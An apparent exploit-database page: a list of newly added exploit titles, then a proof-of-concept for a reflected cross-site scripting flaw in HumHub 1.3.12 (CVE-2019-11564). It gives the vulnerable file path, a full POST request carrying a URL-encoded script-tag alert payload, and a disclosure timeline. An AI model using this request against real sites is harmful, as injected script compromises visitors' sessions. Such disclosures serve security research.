f3c28b3d62
23 changes to exploits/shellcodes SpotAuditor 3.6.7 - Denial of Service (PoC) SpotAuditor 3.6.7 - 'Base64 Encrypted Password' Denial of Service (PoC) SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC) Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification IP-Tools 2.5 - Local Buffer Overflow (SEH) (Egghunter) IP-Tools 2.5 - 'Log to file' Local Buffer Overflow (SEH) (Egghunter) DeviceViewer 3.12.0.1 - 'user' SEH Overflow Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit) AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit) Pimcore < 5.71 - Unserialize RCE (Metasploit) Netgear DGN2200 / DGND3700 - Admin Password Disclosure Veeam ONE Reporter 9.5.0.3201 - Multiple Cross-Site Request Forgery Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-Site Scripting Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-site Scripting (Add/Edit Widget) Intelbras IWR 3000N - Denial of Service (Remote Reboot) Joomla! Component ARI Quiz 3.7.4 - SQL Injection Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery HumHub 1.3.12 - Cross-Site Scripting Spring Cloud Config 2.1.x - Path Traversal (Metasploit) Domoticz 4.10577 - Unauthenticated Remote Command Execution Joomla! Component JiFile 2.3.1 - Arbitrary File Download Hyvikk Fleet Manager - Shell Upload Agent Tesla Botnet - Information Disclosure Oracle Weblogic 10.3.6.0.0 / 12.1.3.0.0 - Remote Code Execution
39 lines
No EOL
1.3 KiB
Text
39 lines
No EOL
1.3 KiB
Text
# Exploit Title: HumHub 1.3.12 - Cross-Site Scripting
|
|
# Exploit Author: Kağan EĞLENCE
|
|
# Vendor Homepage: https://humhub.org/
|
|
# Version: 1.3.12
|
|
# CVE : CVE-2019-11564
|
|
|
|
|
|
Url : http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
|
|
Vulnerable File :
|
|
/protected/vendor/codeception/codeception/tests/data/app/view/index.php
|
|
Request Type: POST
|
|
|
|
|
|
#Request Example:
|
|
=============
|
|
|
|
POST /humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
|
|
HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/73.0.3683.83 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 64
|
|
Connection: close
|
|
Cookie: xxxx
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
%3Cscript%3Ealert%28%22Vulnerable%22%29%3C%2Fscript%3E=undefined
|
|
|
|
### History
|
|
=============
|
|
2019-4-10 Issue discovered
|
|
2019-4-10 Vendor contacted
|
|
2019-4-10 Vendor response and hotfix
|
|
2019-4-27 Advisory release |